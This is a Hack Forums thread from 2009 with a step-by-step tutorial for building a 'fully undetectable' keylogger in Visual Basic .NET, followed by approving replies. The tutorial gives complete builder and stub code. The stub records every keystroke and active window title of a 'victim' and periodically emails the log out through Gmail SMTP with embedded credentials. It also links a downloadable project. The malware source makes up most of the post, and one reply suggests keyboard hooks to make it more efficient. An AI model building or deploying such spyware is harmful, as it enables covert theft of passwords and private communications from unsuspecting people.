Hack Forums
[TuT] Make Own FUD Keylogger in Visual Basic (Pictures Included) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TuT] Make Own FUD Keylogger in Visual Basic (Pictures Included) (/showthread.php?tid=191132)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

[TuT] Make Own FUD Keylogger in Visual Basic (Pictures Included) - Soul Collector - Nov 25, 2009

Make Own FUD Keylogger in Visual Basic!
Tutorial by Soul Collector

Introduction

Hello everyone.

This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it - when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista


1. STEP

Download Visual Basic Express Edition 2008 for free if you didnt already.

2. STEP
  • Run Visual Basic

  • In Tab click File > New Project
  • Windows Application > "Keylogger Builder" > Click Ok

3. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder

Explanation:
[img]http://i46.[censored].com/20zehsj.png[/img]

[img]http://i45.[censored].com/oi7klz.png[/img]


From the Toolbox add:
  • TextBox1 - The GMail Username textbox
  • Textbox2 - The Gmail Password textbox
  • Button1 - The Build button, Change text to: Build
  • Label1 - Change text to: Gmail Username
  • Label2 - Change text to: Gmail Password
Explanation:
[img]http://i47.[censored].com/4qfm1u.png[/img]

4. STEP

Now when you add all these, on top of code add:

Code
Imports System.IO

Now under Public Class Form1 add following code, that would be strings:

Code
Dim stub, text1, text2 As String
    Const FileSplit = "@keylogger@"

Now when you done with that, just simply double click Button1 and add:

Code
text1 = TextBox1.Text
        text2 = TextBox2.Text
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("Server.exe") Then
            My.Computer.FileSystem.DeleteFile("Server.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
        FileClose(1)
        MsgBox("The Server.exe is builded!")

Now you got your builder and now lets move to Stub.

5. STEP
  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Stub" > Click Ok

6. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized

Explanation:
[img]http://i50.[censored].com/168wosx.png[/img]

From the Toolbox add:
  • Textbox1 - KEY LOGGER(follow everything what victim write)
  • Textbox2 - GMail Username
  • Textbox3 - GMail Password
  • Timer1 - Upload Interval
  • Timer2 - Get name of window where keylogger get
    keys(userful)
  • Timer3 - Get Keys

Explanation:
[img]http://i45.[censored].com/ndkfgn.png[/img]


Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100

7. STEP

Now when you add all these, on top of code add:

Code
Imports System.IO
Imports System.Net.Mail

Now under Public Class Form1 add following code, that would be strings:

Code
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
    Const FileSplit = "@keylogger@"

Now double click Timer1 and write following code:

Code
Dim MailSetup As New MailMessage
        MailSetup.Subject = My.Computer.Name & ":"
        MailSetup.To.Add(TextBox2.Text)
        MailSetup.From = New MailAddress(TextBox2.Text)
        MailSetup.Body = TextBox1.Text
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTP.Send(MailSetup)
        TextBox1.Clear()

And add this as Function to source code:

DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW:

http://www.mediafire.com/?hyr22ivdg2m

Code
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

Now double click Timer2 to get names of active windows:

Code
If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
            strin = GetActiveWindowTitle()
        End If

Now double click Form1 and write following code:

Code
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        text2 = Space(LOF(1))
        FileGet(1, text1)
        FileGet(1, text2)
        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox2.Text = options(1)
        TextBox3.Text = options(2)
        Timer1.Start()
        Timer2.Start()

Now double click Timer3 and past code:

Code
For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i


8. STEP

You are done! 👍

Finnaly you made your own, keylogger ... enjoy and for more informations and error reaports please PM or post here, I'll fix it :)


Download Project:
http://www.mediafire.com/?izztizynwjz

* - The 7th Sage - Nov 25, 2009

Nice tut. Although vorfin's similar. I won't compare it though. Great tut ^^

* - $weet - Nov 25, 2009

this is a great tutorial man! ill go make something similar to this and post back the results. this should be a fun project :P

* - Soul Collector - Nov 25, 2009

Ahh its not similar like Vorin's.. its even better :D I go explaned a lot and gived pics alos go here for full GetAsyncKey code:

https://hackforums.net/showthread.php?tid=191136

Also guys sorry i wanted to post HOOKS but the code is like 100 lins or more and msg was to long even without pics and all that txt :S

* - d4t4st34l - Nov 25, 2009

Great tut :D

I'm going to try it now :D

* - ep1capple - Nov 25, 2009

Great tut soul collector.

* - Feminist - Nov 25, 2009

Nice tut, however i suggest you look into keyboard hooks. That for loop will use up almost 100% CPU on most computers. keyboard hook... Less then 4%

* - Soul Collector - Nov 26, 2009

Bump bump :) Say thnx lol .. it isnt that bad :P

* - Amped- - Nov 26, 2009

Very nice TUT, So when we make this our selfs.. It is FUD?

* - OG iFuck - Nov 26, 2009

Thanks for the TUT man. I was just about to search for this.


<3 tu mucho, Senior Soul Collector.

* - Soul Collector - Nov 26, 2009

(Nov 26, 2009 05:24 AM)Amped Wrote:  Very nice TUT, So when we make this our selfs.. It is FUD?

Yea, also guys logger are slow so its not advance. for advance (with hooks) I'll need like 500 lines :D Because source is long .. gonna post source of advanced keylogger in Coding section and put here link soon... :) enjoy .

* - Neroxan - Nov 26, 2009

nice tutorial, yours was a bit more in depth for the coding means, but I think Vorfin explained a bit better to what the student is actually doing when entering the code lines.
All in all it will help lots of people though, thx for posting it.

* - nikey_007 - Nov 26, 2009

thanks man. really nice tut:D

* - Madafaka - Nov 26, 2009

awesome tutorial .. thanks :)

* - Skajper - Nov 26, 2009

Great tut man ceep up the good work, hope you become mod one day you helped me so much.